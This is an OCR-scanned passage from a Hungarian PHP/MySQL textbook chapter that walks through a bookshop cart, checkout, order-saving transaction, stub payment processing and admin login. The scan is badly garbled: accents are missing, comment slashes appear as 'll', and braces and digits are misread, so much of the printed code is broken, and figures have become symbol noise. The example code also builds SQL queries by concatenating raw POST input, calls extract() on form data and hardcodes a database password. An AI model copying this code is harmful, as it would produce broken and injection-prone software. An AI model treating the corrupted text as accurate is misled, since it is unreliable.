echo "<p>Kosara jelenleg Ures<lp><hrl>";

$cel = "index.php";
ll ha az imnt beraktunk egy termket a kosrba,
ll folytassuk a vsrlst ugyanabban a kategriban!
if($uj}

$adatok = konyvadatok_lekerese($uj};
if($adatok['kategoriaiD']}

$cel = "kategoria_megjelenitese.php?kategoriaiD=".$adatok['kategoriaiD'];

gomb_megjelenitese($cel,

"vasarlas-folytatasa",

ll ha az SSL be van lltva,


ll $eleresi_utvonal
ll $szerver

"Vsrls folytatsa"};

hasznljuk ezt!

$ SERVER['PHP_SELF'];

$ SERVER['SERVER_NAME'];

ll $eleresi_utvonal = str_replace('kosar_megjelenitese.php',

$eleresi_utvonal};

ll gomb_megjelenitese("https:ll".$szerver.$eleresi_utvonal."penztar.php",
"tovabb-a-penztarhoz",

ll

"Tovbb a pnztrhoz"};

ll SSL nlkl az albbi kdot hasznljuk!


gomb_megjelenitese("penztar.php",

"tovabb-a-penztarhoz",

"Tovbb a pnztrhoz"};

html lablec_letrehozasa(};
?>

A kd hrom f rszbl ll: a kosr megjelentse, a termkek kosrba ttele s a vltoztatsok mentse. A kvetkez oldala
kon ezt a hrom rszt tekintjk t.

A kosr megjelentse
Fggetlenl attl, hogy milyen oldalrl jvnk, megjelentjk a kosr tartalmr. Alapesetben, amikor a felhasznl a,.Kosr
megrekints' gombra kattint, a kdnak csak az albbi rsze fog vgrehajtdni:
if(($_SESSION['kosar']}

&&

(array_count_values($ SESSION['kosar']}}}

kosar_megjelenitese($_SESSION['kosar']};

J else

echo "<p>Kosara jelenleg Ures<lp><hrl>";

A fenti kdbl kiderl, hogy ha kosarunk nem res, a kosar_megjelenitese(} fggvnyt fogjuk meghvni. res kosr
esetn ezt kzl zenetet adunk a felhasznlnak.
A kosar_megjelenitese(} fggvny semmi mst nem teszi, mint olvashat HTML formtumban megjelenti
a kosr tartalmt-ezt lthattuk a 28.6 s 28.7 brn. A fggvny kdjt a 28.10 pldakd ltal megjelentett kimeneti_

434

28. fejezet

fuggvenyek.php f:ijlban talljuk. Noha megjelent fggvnyrl van sz, viszonylag sszetett a mkdse, ezrt rdemes

kicsit alaposabban is megvizsglni.

28

28.10 pldakd: A kimeneti_fuggvenyek.php knyvtr kosar_megjelenitese ()fggvnye- A kosr tartalmt

formz s kirfggvny
function kosar_megjelenitese($kosar, $valtoztatas = true, $kepek = l)

ll kosrban lev ttelek megjelenitse


ll a vltoztatsok opcionlis lehetv ttele (true vagy false)
ll opcionlisan kpek hasznlata

(l - igen, O - nem)

echo "<table border=\"0\" width=\"100%\" cellspacing=\"0\">


<form action=\"kosar_megjelenitese.php\" method=\"post\">
<tr><th colspan=\"". (l

+ $kepek)."\" bgcolor=\"#cccccc\">Item</th>

<th bgcolor=\"#cccccc\">Ar</th>
<th bgcolor=\"#cccccc\">Mennyisg</th>
<th bgcolor=\"#cccccc\">sszesen</th>
</tr>";
ll a ttelek megjelenitse sorokknt
foreach ($kosar as $isbn => $darabszam)
$konyv

konyvadatok_lekerese($isbn);

echo "<tr>";
if($kepek == true)

echo "<td align=\"left\">";


if (file_exists("imagesl".$isbn.".jpg"))
$meret = GetimageSize("imagesl".$isbn.".jpg");
if(($meret[O] > 0) && ($meret[l] > 0))

echo "<img src=\"images/".$isbn.".jpg\"


style=\"border:

lpx solid black\"

width=\"". ($meret[0]/3)."\"
height=\"".($meret[l]l3)."\"/>";
else
echo "&nbsp;";
echo "</td>";
echo "<td align=\"left\">
<a href=\"konyv_megjelenitese.php?isbn=".$isbn."\">".$konyv['cim']."</a>
by ".$konyv['szerzo'] ."</td>
<td align=\"center\">\$".number_format($konyv['ar'], 2) ."</td>
<td align=\"center\">";
ll ha engedjk a vltoztatst, a darabszmok a szvegdobozba kerlnek
if ($valtoztatas == true)

echo "<input type=\"text\" name=\"".$isbn."\" value=\"".$darabszam."\"


size=\113\">";
else
echo $darabszam;
echo "<ltd>
<td align=\"center\">\$".number_format($konyv['ar']*$darabszam,2)."</td>
</tr>\n";

Kosr funkci programozsa

435

)
ll sszesen sor megjelenitse
echo "<tr>
<th colspan=\"". (2+$kepek) ."\" bgcolor=\"#cccccc\">&nbsp;</td>
<th align=\"center\" bgcolor=\"#cccccc\">".$_SESSION['tetelek'l ."</th>
<th align=\"center\" bgcolor=\"#cccccc\">
\$".number_format($_SESSION[ 'vegosszeg'l,

2) . "

</th>
</tr>";
ll vltoztats mentse gomb megjelenitse
if ($valtoztatas == true)

echo "<tr>
<td colspan=\"". (2+$kepek) ."\">&nbsp;</td>
<td align=\"center\">
<input type=\"hidden\" name=\"mentes\" value=\"true\"/>
<input type=\"image\" src=\"images/valtoztatasok-mentese.gif\"
border=\"0\" alt=\"Vltoztatsok mentse\"/>
<ltd>
<td>&nbsp;</td>
</tr>";
echo "</form></table>";

A fggvny a kvetkezkppen mkdik:


l.

Ciklus segtsgvel vgiglpked a kosrban lv sszes ttelen, s egyenknt tadja azok ISBN -kdjt a konyvadatok_
lekerese () fggvnynek, hogy megjelenthesse a knyvek adatait.

2.

Megjelenti az adott knyvhz tartoz kpet, amennyiben az elrhet. A kp mrett szablyoz HTML cmkkkel (tag)
kisebbre veszi az itt megjelentett kpet. Ez azt jelenti, hogy a kpek torzulnak egy kicsit, m elg aprk ahhoz, hogy ez ne
okozzon tl nagy problmt. (Ha a torzts zavar, a Kpek ellltsa cm 22. fejezetben bemutatott gd knyvtr segts
gvel mretezzk t a kpeket! Egy msik lehetsg, ha sajt kezilleg ksztjk el az egyes termkek kisebb kpeit.)

3.

A kosr nnden egyes ttelnl a megfelel knyvre mutat hivatkozst hoz ltre- vagyis paramterknt az ISBN-k
dot tadva meghvja a konyv _megjeleni tese. php kdot.

4.

Ha gy hvjuk meg a fggvnyt, hogy a valtoztatas paramter rtkt true-ra lltjuk (vagy nem adjuk meg az
rtkr, s ebben az esetben az alaprtelmezett rtkvel-true- hasznljuk), akkor a szvegdobozokban ott talljuk
"
a darabszmokat, illetve a"Vltoztatsok mentse gomb zrja ezt a lnyegben rlapknt mkd rszt. (Amikor a fize
tsnl majd jra felhasznljuk ezt a fggvnyt, akkor mt nem kvnjuk felajnlani a felhasznlnak a lehetsget, hogy
mdostsa rendelst.)

Semmi rdngssg nincsen ebben a fggvnyben, de elg nagy munkt vgez, ezrt rdemes alaposan tolvasni s rtelmez
ni az utastsait.

Termkek hozzadsa a kosrhoz


Ha a felhasznl a"Kosrba tesz" gombra kattintva a kosar _megjelenitese. php oldalra jut, akkor nmi munka vr mg
rnk, mieltt megjelenthetnnk kosara tartalmr. Ez egszen pontosan azt jelenti, hogy a kivlasztott termket be kell ten
nnk a kosarba. A kvetkezkppen tehetjk ezt meg:
Ha a felhasznl mg semmit nem tett a kosarba, akkor nincs is kosara, ezrt ltre kell hozni szmra egyet:
if (!isset ( $_SESSION['kosar'l) )

$_SESSION['kosar'l = array();
$_SESSION['tetelek'l

= O;

$ SESSION['vegosszeg'l ='0.00';

Kezdetben a kosr res.

28

436

28.fgezer

Ha mr tudjuk, hogy elksztettk a kosarat, belerakhatjuk a kivlasztott rermker:


if(isset($_SESSION['kosar'] [$uj]))

28

$_SESS ION ['kosar'] [$uj]++;

else

$_SESSION['kosar'] [$uj]

= l;

Itt azt ellenrizzk, hogy a kosrban megtallhat-e mr az adott knyv. Ha igen, akkor a kosrban lv mennyisgr eggyel
megnveljk. Ha nincs benne, akkor hozzadjuk a kosrhoz.
Harmadsorban ki kell szmolnunk a kosrban lv ttelek szmt s rt. Ehhez az ar_szamalasa () s a tetelek
szamalasa () fggvnyt hasznljuk az albbiak szerint:
$_SESSION['vegosszeg']

= ar_szamolasa($_SESSION['kosar']);

$ SESSION['tetelek'] = tetelek_szamolasa($_SESSION['kosar']);

Ezek a fggvnyek a konyv fuggvenyek.php fggvnyknyvtrban tallhatk. Kdjukat a 28.11, illetve a 28.12 plda
_

kd tartalmazza.
28.11 pldakd: A konyv_fuggvenyek. php knyvtr ar_szamolasa ()fggvnye- A kosr tartalmnak teljes rt kisz
mol s visszaadfggvny
function ar_szamolasa($kosar)

ll a kosrban lv sszes ttel rnak sszeadsa


$ar

0.0;

if(is_array ($kosar))

$kapcsolat = adatbazishoz kapcsolodas();


foreach($kosar as $isbn => $darabszam)
$lekerdezes

"SELECT ar FROM konyvek WHERE isbn='".$isbn."'";

$eredmeny = $kapcsolat->query($lekerdezes);
if ($eredmeny)

$tetel = $eredmeny->fetch_object();
$tetel_ara = $tetel->ar;
$ar +=$tetel_ara*$darabszam;

return $ar;

A kdbl kiderl, hogy az ar_szamalasa () fggvny gy mkdik, hogy kikeresi az adatbzisbl a kosrban lv min

den egyes ttel rt. Ez a folyamat viszonylag hosszan is eltarthat, ezrt azt elkerlend, hogy a kelletnl tbbszr vgrehajt
suk, az rat (s a rtelek darabszmt) munkamenet-vltozknt eltroljuk, s csak akkor szmoljuk ki jra az sszeget, ha
a kosr tartalma mdosul.
28.12 pldakd: A konyv_fuggvenyek.php knyvtr tetelek_szamalasa ()fggvnye- A kosrban lv ttelek sz
mt kiszmo/ s visszaadfggvny
function tetelek_szamolasa($kosar)

ll a kosarban lv ttelek szmnak sszeadsa


Stetelek = O;
if(1s array($kosar)) {
foreach($kosar as $isbn => $darabszam)
Stetelek += $darabszam;

return $tetelek;

Kosr funkci programozsa

437

A tetelek_ szarnelasa () fggvny valamivel egyszerbb; szimpln vgigmegy a kosr tartalmn, s az egyes ttelek da
rabszmt sszeadva kiszmolja a kosrban lev termkek szmt. Ha a tmb mg nem ltezik (vagyis a kosr res), akkor O-t

28

(nullt) ad vissza.

A mdostott tartalm kosr mentse


Ha a felhasznl a"Vltoztatsok ments' gombra kattintva kerl a kosar_megj elenitese.php kd oldalra, akkor
kicsit mshogyan zajlik a folyamat. Ebben az esetben rlap elkldsvel jutott ide. Ha kzelebbrl megvizsgljuk a kdot, lt
"
hatjuk, hogy a"Vltoztatsok mentse gomb az rlap klds gombja. Ez az rlap a mentes rejtett vltozt is tartalmazza. Ha
"
ennek a vltoznak van rtke, akkor rudjuk, hogy a"Vltoztatsok mentse gombra kattintva jutott ide a felhasznl. Ez azt
jelenti, hogy vlelmezheten mdostotta a kosarban lv darabszmokat, gy frisstennk kell azokat.
Ha jra megnzzk a kd"Vltoztatsok ments' rlapjn lv szvegdobozokat (amelyek a kimeneti_fuggvenyek.php
knyvtr kosar_megj elenitese () fggvnyben tallhatk), lthatjuk, hogy nevk annak a knyvnek az ISBN-kdjra utal,
amelynek a darabszmt mutatjk:
eeho "<input type=\"text\" name=\"".$isbn."\" value=\"".$darabszam."\" size=\"3\">";

Most pedig nzzk meg a kdnak a vltoztatsokat elment rszt:


{

if(isset($_POST['mentes']))

foreaeh ($_SESSION['kosar'] as $isbn => $darabszam)


if($_POST[$isbn] == '0')

unset( $_SESSION['kosar' l [$isbn]);


else

$_SESSION['kosar'] [$isbn]

$ POST[$isbn];

$_SESSION['vegosszeg'] = ar szamolasa($ SESSION['kosar']);


$ SESSION['tetelek']

= tetelek szamolasa($ SESSION['kosar']);

Ebben a kdban vgigmegynk a kosron, s a benne lev minden isbn kdnl ellenrizzk az ugyanolyan nev POST vl
"
tozt, amik a"Vltoztatsok mentse rlapbl szrmaz rlapvltozk lesznek.
Ha ezek kzl brmelyik nullra lett lltva, akkor az unset() fggvny segtsgvel eltvoltjuk a kosrbl az adott ttelt.
Ellenkez esetben az rlapmezknek megfelelen mdostjuk a kosr tartalmr:
if($_POST[$isbn] == '0')

unset($_SESSION['kosar'] [$isbn]);
else

$ SESSION['kosar'] [$isbn] = $_POST[$isbn];

A mdostsok vgrehajtsa utn az ar_szarnelasa () s a tetelek_szarnelasa () fggvnnyel ismt kiszmoljuk


a

vegasszeg s a tetelek munkamenet-vltoz akrulis rtkr.

A fejlcen lthat sszefoglal adatok megjelentse


A honlap minden oldalnak fejlcn a kosr tartalmra vonatkoz, sszefoglal adatok jelennek meg. Ezeket az adatokat
a vegasszeg s a tetelek munkamenet-vltoz rtkbl a html_ fej lee _letrehozasa () fggvnnyel kapjuk.
Ezt a kt vltozt akkor regisztrljuk, amikor a felhasznl elszr ltogat el a kosar_ megj elenitese.php oldalra.
Azt az esetet is kezelnnk kell, amikor a felhasznl mg nem jrt ezen az oldalon. Ez a logika is benne van a html_fe j l ee_
letrehozasa () fggvnyben:
if

(! $ SESSION['tetelek']) {
$_SESSION['tetelek'] = '0';

if (!$ SESSION['vegosszeg'])

$ SESSION['vegosszeg'] = '0.00';

438

28. fejezet

A pnztrnl
Amikor a felhasznl a kosr,;rovbb a pnztrhoz" gombjra kattint, a penztar.php kdot hvja meg. A pnztr oldalt s

28

a mgtte lev oldalakar Secure Sockets Layer (SSL) kapcsolaton keresztl kellene elrni, de a pldban szerepl alkalmazs ezt
nem erlteti. (Az SSL-rl a Biztonsgos tranzakcik megvalstsa PHP-vel s MySQL-lel cm 18. fejezerben beszltnk bvebben.)
A pnztr oldalt a 28.8 bra murarja.

'----------------

......

r-------------------

:.:.:.:.:.:.::.:.::_:_:_:_:_:j--!
-====
!iJ&i"--
':!!!!o!C=:::"l
r--------------------------
-:-:::-::::::::::"1

::.

..._________________________
. -

a..

;:::---

--=-:::"':."':"':"':":.

A\1_..,._..,...--v-...,__..,.._
...-....--

28.8 bra: A penztar.php kd az gyfl adatait gyjti be.


A kd azt kri a vsrlrl, hogy aclja meg cmr (s szllrsi cmr, amennyiben

az

attl eltr). Ezt a viszonylag egyszer

kdot a 28.13 pldakd mutatja.


28.13 pldakd: penztar.php-Az gyfladatokat begyjt kd
<?php
llfggvnyknyvtr beszrsa
include ('konyv_kosar_fuggvenyek.php');

ll A kosrfunkcikhoz munkamenetekre van szksg,

ezrt indtsunk egyet!

session start();

html_fejlec_letrehozasa("Pnztr");

if(($ SESSION['kosar']) && (array_count_values($ SESSION['kosar'])))


kosar_megjelenitese($_SESSION['kosar'],

false,

0);

penztar urlap_megjelenitese();
else
echo "<p>Kosara jelenleg res<lp>";

gomb_megjelenitese("kosar_megjelenitese.php",

"vasarlas-folytatasa",

"Vsrls

folytatsa");
html lablec letrehozasa();
?>

Nincsenek nagy meglepetsek a fenti kdban. Ha a kosr res, a kd figyelmezteti erre a felhasznlt; minden ms esetben
a 28.8 brn lthat rlapot jelenti meg.
Ha a vsrl az rlap aljn lv"Vsrls" gombra kattintva tovbblp, a va sarlas. php kdhoz jut. Ennek kimenert
a 28.9 brn lthatjuk.

Kosr funkci programozsa

439

28
NilU WI

... -....!

==--....,
v.......

28.9 bra: A vasarlas. php

- -:1
#:

. ____ ....,_,_.v_....,_,._...._
___... ....... -

kd kiszmalja a szlltsi kltsget s a rendels vgsszegt, majd bekri a vsrlfizetsi adatait.

A 28.14 pldakdban lthat va sarlas. php kdja valamivel bonyolultabb, mint a penztar. php fjl.
28.14 pldakd: vasarlas. php-A

rendels adatait az adatbzisban eltrol s a fizetsi adatokat bekr kd

<?php

ll

kosrfunkcikhoz munkamenetekre van szksg,

ezrt indtsunk egyet!

session start();
include ('konyv_kosar_fuggvenyek.php');
html fejlec_letrehozasa("Pnztr");

!l rvid vltoznevek ltrehozsa


$nev = $_POST['nev'];
$lakcim = $ POST['lakcim'];
$varos
$irsz

$ POST['varos1];

=
=

$_POST[1irsz'];

$orszag = $ POST[1orszag'];

ll ha ki van tltve
if (($_SESSION[1kosar1])
&&

($irsz)

&&

&&

($nev)

($orszag))

&&

($lakcim)

&&

($varos)

ll be tudja szrni az adatbzisba


if(rendeles_beszurasa($_POST)
//kosr megjelentse,

!= false

vltoztatsok engedlyezse,

kosar_megjelenitese($ SESSION['kosar1],

false,

s kpek nlkl

0);

szallitas_megjelenitese(szallitasi_koltseg_szamitasa());

ll hitelkrtyaadatok lekrse
kartya_urlap_megjelenitese($nev);
gomb_megjelenitese("kosar_megjelenitese.php",

"vasarlas-folytatasa",

"Vsrls folytatsa");
else
echo "<p>Nem sikerlt eltrolni az adatokat,
gomb_megjelenitese(1penztar.php1,
else

vissza',

krjk,
'Vissza 1 )

prblja meg jra1</p>";


;

440

28. fejezet

echo "<p>Nem tlttte ki az sszes mez6t,


gomb_megjeleni tese('penztar.php',

krjk,

'vissza',

prblja

meg jra!< lp><hr

l>";

'Vissza');

28
html lablec letrehozasa();
?>

A kd logik:ija magrl rtetd: ellenrizzk, hogy a felhasznl kitlttte-e az rlapot, s a rendeles_beszurasa ()

nev fggvnnyel beszrjuk az adatokat az adatbzisba. Ez az egyszer fggvny trolja el a vsrl adatait az adatbzisban.
Kdjt a 28.15 pldakd tartalmazza.
28.15 pldakd: A rendelesi _fuggvenyek.php knyvtr rendeles_beszurasa ()fggvnye- A vsrl rendelsnek

sszes adatt az adatbzisba be illesztfggvny


function rendeles_beszurasa($rendelesi_adatok)
ll rendelsi adatok kinyerse vltozkknt
extract($rendelesi adatok);

ll lakcm belltsa szlltsi cmknt


if((!$szallitasi_nev) && (1$szallitasi eim) && (!$szallitasi_varos)
&&

(!$szallitasi_allam) && (!$szallitasi irsz) && (!$szallitasi_orszag))

$szallitasi_nev

$nev;

$szallitasi eim =

$lakcim;

$szallitasi_varos = $varos;
$szallitasi_allam =

$allam;

$szallitasi_irsz = $irsz;
$szallitasi arszag = $orszag;

$kapcsolat = adatbazishoz kapcsolodas();


ll tranzakciknt kivnjuk beszrni a megrendelst
ll tranzakci kezdse az autocommit kikapcsolsval
$kapcsolat->autocommit(FALSE);

ll vsrl lakcmnek beszrsa


$lekerdezes

"SELECT

vasarloiD FROM vasarlok WHERE

nev = '".$nev."'

AND lakeim = '".$lakcim."'

AND varos = '".$varos."' AND allam = '".$allam."'


AND irsz = '".Sirsz."' AND orszag = '".$orszag."'";

$eredmeny = $kapcsolat->query($lekerdezes);

if($eredmeny->num_rows>O)
$vasarlo = $eredmeny->fetch_object();
$vasarloiD
else

$vasarlo->vasarloiD;

$lekerdezes

"insert into vasarlok values


('''

'".$nev."'' 'n.$lakeim."'' '".$varos." ''

'".$allarn."', '".Sirsz."', '".Sorszag."')";


$eredmeny

$kapcsolat->query($lekerdezes);

if (!$eredmeny)
return false;

Kosr funkci programozsa

28

$vasarloiD = $kapesolat->insert_id;

$datum = date("Y-m-d");

$lekerdezes = "INSERT INTO


(",

megrendelesek VALUES

'".$vasarloiD."',

'".$datum."',

"'.$_SESSION['vegosszeg'] "',

'".PARTIAL."',

'".$szallitasi_cim."',

'".$szallitasi nev."',

'".$szal litasi_varos."',

'".$szallitasi allam."',

'".$szal litasi

irsz."',

'".$szallitasi_orszag."')";

$eredmeny
if

$kapesolat->query($lekerdezes);

(! $eredmeny)

return false;

$lekerdezes

"SELECT rendelesiO
vasarloiD

FROM megrendelesek WHERE

'".$vasarloiD."'

AND

asszeg > (".$_SESSION['vegosszeg'] ."-.001) AND


asszeg

<

(".$_SESSION['vegosszeg']."+.001) AND

datum = '".$datum."'
rendeles_allapota

AND
'PARTIAL'

AND

nev

'".$szallitasi nev."'

AND

szallitasi eim

'".$szallitasi eim."'

AND

szallitasi

"'.$szallitasi_varos."'

AND

szallitasi_allam = '".$szallitasi_allam."'

szallitasi_varos =

AND

szallitasi_irsz

'".$szallitasi_irsz."'

AND

szallitasi_orszag = '".$szallitasi_orszag."'";

$eredmeny

$kapesolat->query($lekerdezes);

if($eredmeny->num_rows>O)
$megrendeles = $eredmeny->feteh_objeet();
$rendelesiD
else

$megrendeles->rendelesiD;

return false;

ll knyvek beszrsa
foreaeh($ SESSION['kosar']

as $isbn => $mennyiseg)

$adatok = konyvadatok_lekerese($isbn);
$lekerdezes

"DELETE FROM rendelesi tetelek WHERE


rendelesiO

$eredmeny

'".$rendelesiD."'

AND isbn

'".$isbn."'";

$kapesolat->query($lekerdezes);

$lekerdezes = "INSERT INTO rendelesi tetelek VALUES


( '".$rendelesiD."',
$eredmeny
if

'".$isbn."',

= $kapesolat->query($lekerdezes);

(! $eredmeny)
return false;

441

".$adatok['ar'].",

$mennyiseg)";

442

28. fejezet

ll tranzakci befejezse
$kapcsolat->commit();
$kapcsolat->autocommit(TRUE);

return $rendelesiD;

A rendeles beszurasa () fggvny meglehetsen hossz, merr be kell vinni az adatbzisba a vsrl, a rendels s
_

a megvsrolni kvnt sszes knyv adatait.


Lthatjuk, hogy az adatbeilleszts klnbz rszei tranzakcikknt trtnnek meg, amelyek a
$kapcsolat->autocommit(FALSE);

utastssal kezddnek, s a
$kapcsolat->commit();
$kapcsolat->autocommit(TRUE);

utastsokkal rnek vget.


Ez az alkalmazs egyetlen olyan pontja, ahol tranzakcikat hasznlunk. Hogyan rjk el, hogy mshol nincs szksg tranz
akcikra? Nzzk csak meg az adatbazishoz_kapcsolodas ( ) fggvnyben lv kdot:
function adatbaz1shoz kapcsolodas()
$eredmeny
if

new mysqli('localhost',

'konyv_kosar',

'jelszo',

'konyv_kosar');

(! $eredmeny)
return false;

$eredmeny->autocommit(TRUE);
return

$eredmeny;

A fggvnyben szerepl kd kiss eltr a korbbi fejezetekben hasznltaktL A MySQL-hez val kapcsolds ltrehozsa utn
ki kell kapcsalni az autocomrnit mdot. Ahogy ez korbban mr szba kerlt, ez biztostja azt, hogy rninden egyes SQL utasts
automatikusan vglegess vljk. Arnikor tbb utastsbl ll tranzakcit kvnunk hasznlni, kikapcsoljuk az autocommit m
dot, vgrehajtjuk az adatbeillesztsek sort, vglegestjk az adatokat, majd visszakapcsoljuk az autocommit mdot.
Ezt kveten az albbi kdsorral kiszmoljuk a vsrl ltal megadott cm esetn fizetend szlltsi kltsget, s tudatjuk vele:
szallitas_megjelenitese(szallitasi koltseg_szamitasa());

A szallitasi_koltseg_szarnitasa() fggvnyben hasznlt kd minden esetben 20 dollr szlltsi kltsggel sz


mol. Ha valdi online zletet nyitunk, ki kell vlasztanunk a szllts mdjt, meg kell hatrozni a klnbz cmekhez tarto
z szllrsi kltsget, s ennek megfelelen kell a szlltsi djat kiszrnitani.
Ezt kveten a kimeneti_fuggvenyek. php knyvtr kartya_ urlap_ megjelenitese() fggvnye segtsgvel
megjelentjk a felhasznl szmra azt az rlapot, ahol a hirelkrryjta vonatkoz adatokat megadhatja.

A fizets feldolgozsa
Amikor a felhasznl a.,Vsrls" gombra kattint, a feldolgoz as. php kd segtsgvel feldolgozzuk fizetsi adatait.
A 28.10 brn egy sikeresen vgbement fizers eredmnyt lthatjuk.

28.10 bra: A tranzakci sikeres volt, a megrendelt tteleket szlltani fogjuk.

Kosr funkci programozsa

443

A feldolgozas.php kcljc a 28.16 pldakd mutatja.


28.16 pldakd: feldolgozas.php-A

kd feldolgozza a vsrl fizetsi adatait, majd k.zli vele a folyamat eredmnyt

<?php
include ('konyv_kosar_fuggvenyek.php');

ll A kosrfunkcikhoz munkamenetekre van szksg,

ezrt indtsunk egyet!

session start();
html fejlec_letrehozasa('Pnztr');
$kartya tipusa

$ POST['kartya tpusa');

$kartya_szama

$_POST['kartya_szama');

$kartya_honap

$_POST['kartya_honap');

$kartya_ev
$kartya_nev

$_POST['kartya_ev');

$_POST['kartya_nev'];

if(($ SESSION['kosar'))
($kartya honap)

&&

&&

($kartya tpusa)

($kartya_ev)

ll kosr megjelentse,

&&

($kartya szama)

($kartya_nev))

&&

vltoztatsok engedlyezse,

kosar_megjelenitese($ SESSION['kosar'),

false,

&&

{
s kpek nlkl

0);

szallitas_megjelenitese(szallitasi_koltseg_szamitasa());
if(kartya feldolgozasa($_POST))
//kosr kirtse
session_destroy();
echo "<p>Ksznjk,

hogy nlunk vsrolt. Megrendelst rgztettk.</p>";

gomb_megjelenitese("index.php",

"vasarlas-folytatasa",

"Vsrls folytatsa");

else
echo "<p>Nem tudtuk feldolgozni bankkrtyjt. Krjk,
a krtya kibocstjval,

lpjen kapcsolatba

s prblkezzon jra!</p>";

gomb_megjelenitese("vasarlas.php",

"vissza",

"Vissza");

else
echo "<p>Nem tlttte ki az sszes mez6t,
gomb_megjelenitese("vasarlas.php",

krjk,

"vissza",

prblja meg jra!</p><hr />";

"Vissza");

html lablec letrehozasa();


?>

Feldolgozzuk a felhasznl bankkrtyjnak adatait, majd trljk a munkamenett.


A bankkrtyt feldolgoz fggvny az itt megrt formjban egyszeren true rckkel tr vissza. Ha tnylegesen megval

stannk a fizetse, akkor elszr ellenriznnk kellene a krtya lejrati dtumt, illetve a megadott krtyaszm formcumt,
ezt kveten pedig tnylegesen fel kellene dolgoznunk a fizetst. Mkd weboldal fejlesztse esecn el kell dntennk, milyen
elszmolsi mechanizmust kvnunk hasznlni. A kvetkez lehetsgek kzl vlaszthacunk:
Tranzakcik elszmolsval foglalkoz szolgltatval szerzdnk. Itt szmos alternatva kzl vlaszthacunk attl fg
gen, hogy hol mkdik a vllalkozsunk. Egyes szolglcatk vals idej elszmolst knlnak, msok nem. A vals idej
elszmols szksgessge attl fgg, hogy mit szerecnnk online rtkesteni. Ha online szolgltatsokac knlunk, akkor
minden bizonnyal ignyt fogunk r tartani; ha csak termkeket szlltunk ki, akkor a vals idej elszmols kevsb fon
tos szmunkra. A szolgltack mindkt esetben megkmlnek a hitelkrtyaadatok trolsnak felelssgtl.

28

444

28. fejezet

Titkostott e-mailben elkldjk magunknak a vsrlk hitelkrtyjnak adatait. A titkosrst a 18. fejezetben megismert
Pretty Good Privacy (PGP) vagy Gnu Privacy Guard (GPG) mdszerrel valsthatjuk meg. Ha megkaptuk s visszafej

28

tettk az e-mailt, sajt kezleg feldolgozzuk a tranzakcikat.


Adatbzisban troljuk a hitelkrtyaadatokat. Ezt a lehetsget csak akkor szabad mrlegelni, ha nagyon, tnyleg nagyon
meg vagyunk gyzdve rendszernk biztonsgrL A 18. fejezetben bvebben kifejtetrk, mirt nem igazn j det az
ilyen bizalmas adatok adatbzisban trolsa.
Ezzel vgre rtnk a kosr s a fizetsi modulok ttekintsnek.
Itt rdemes megemltennk, hogy a magyarorszgi gyakorlatban nincs olyan fellet, amellyel egy webruhzmotor kzvet
lenl csatlakozni tudna valamely bankhoz, s tranzakcikat hajthatna vgre. Itthon az online bankkrtys fizets leginkbb
a PayPal.express chekout" fizetsi metdushoz hasonl, s alapveterr a kvetkez lpsekbl llhat:
l.

A webruhz pnztrbl a fizetsi gomb hatsra tirnytjuk a felhasznlt a webruhz zemeltetjvel szer
zdte bank egy specilis oldalra (pl.: ha a SuperBankkal krnk szerzdst, akkor a https://onlinechecking.
superbank.hu oldalra kldjk a vsrlt), legtbbszr cmsorban tadva a vsrls paramtereit (vsrolt termkek,
sszegek, vgsszeg stb.).

2.

A vsrl a SuperBank oldaln megadja bankkrtyaadatait, ezzel belp egy felletre.

3.

Ezen a felleten megjelenik a webruhzunk ltal radott fizetnival sszege (esetleg ttelesen a majdani szmla
minden sora), illetve a "Fizets" gomb.

4.

Amikor a vsrl jvhagyja a fizetst, a SuperBank visszadobja a vsrlt a webruhzunk oldalra.

5.

Itt mr nincs ms dolgunk, mint a visszarkez vsrl fizetsrl szl tranzakcis kddal a httrben lekrdez
nnk a SuperBankot a tranzakci sikeressgrL

6.

A vlasz ismeretben eldnthetjk, hogy mi legyen a kvetkez lps:


Hibt adunk, mert a vsrl Mgsem" gombot nyomott a SuperBank oldaln.
"
Hibt adunk, mert a vsrlsra nincs fedezet.
Visszaigazol zenetet runk a vsrls sikeressgrL

Az adminisztrcis fellet megvalstsa


Nagyon egyszer adminisztrcis felletet alakitotrunk ki az oldalhoz. Ltrehozrunk az adatbzishoz egy webes, a felhasznli
hitelesrst is magban foglal csatolfelletet. A fellet nagyrszt a 27. fejezetben ltrehozott kdot hasznlja. A teljessg ked
vrt itt is kzljk, de ezttal nem megynk bele a rszletekbe.
Az adminisztrcis fellet hasznlathoz a felhasznlnak be kell jelentkeznie a bej e l entke z es. php fjlon keresztl.
Ez a kd az adnlin. php nev adminisztrcis menbe viszi a felhasznlt. A bejelentkezsi felletet a 28.11 brn lthatjuk.
(A rvidsg kedvrt ebben a fejezetben nem mutatjuk meg a bej e lentkezes. php fjl tartalmr, mivel m:ydnem teljesen
megegyezik a 27. fejezetben hasznlt kddal. Ha szetetnnk megnzni, a www.perfactkiado.hu/mellekletek oldalrl letlthet
mellkletben megtalljuk.) Az adminisztrcis ment a 28.12 brn lthatjuk.

28.11 bra: A Jelhasznlk a bejelentkezsi fellet mgtt rik el a rendszergazdai funkcikat.

Kosr funkci programozsa

445

28
55:..

28.12 bra: Az adminisztrcis menben a rendszergazda i funkcikhoz frnk hozz.

Az adminisztrcis men kdjt a 28.17 pldakd tartalmazza.


28.17 pldakd: adrrlin.php -A rendszergazdt hitelest s szmra az adminisztratv funkcikat elrhetv tev kd
<?php
ll az alkalmazs fggvnyfjljainak beillesztse
require_once('konyv_kosar_fuggvenyek.php');
session_start();

if (($_POST['felhasznaloi_nev'])

&&

($_POST['jlsz']))

ll pp az imnt prbltak meg bejelentkezni


$felhasznaloi_nev
$jlsz

$_POST['felhasznaloi_nev'];

$_POST['jlsz'];

if (bejelentkezes($felhasznaloi_nev,

$jlsz))

ll ha benne vannak az adatbzisban,


$ SESSION['admin_felhasznalo']

jegyezzk fel a felhasznli nevet'

$felhasznaloi nev;

else
ll sikertelen bejelentkezs
html_fejlec_letrehozasa("Hiba:");
echo "<p>Nem sikerlt belptetni.<brl>
Az oldal megtekintshez be kell jelentkezni.<lp>";
html_url_letrehozasa('bejelentkezes.php',

'Bejelentkezs');

html_lablec_letrehozasa();
exit;

html_fejlec_letrehozasa("Adminisztrci");
if (admin_felhasznalo_ellenorzese())
admin_menu_megjelenitese();
else
echo "<p>Nincs jogosultsga belpni az adminisztrcis felletre.<lp>";
html_lablec_letrehozasa();
?>

446

28. fejezet

A kd minden bizonnyal ismersnek hat, hiszen a 27. fejezet egyik kdjhoz igen hasonl. Belps utn a felhasznl meg
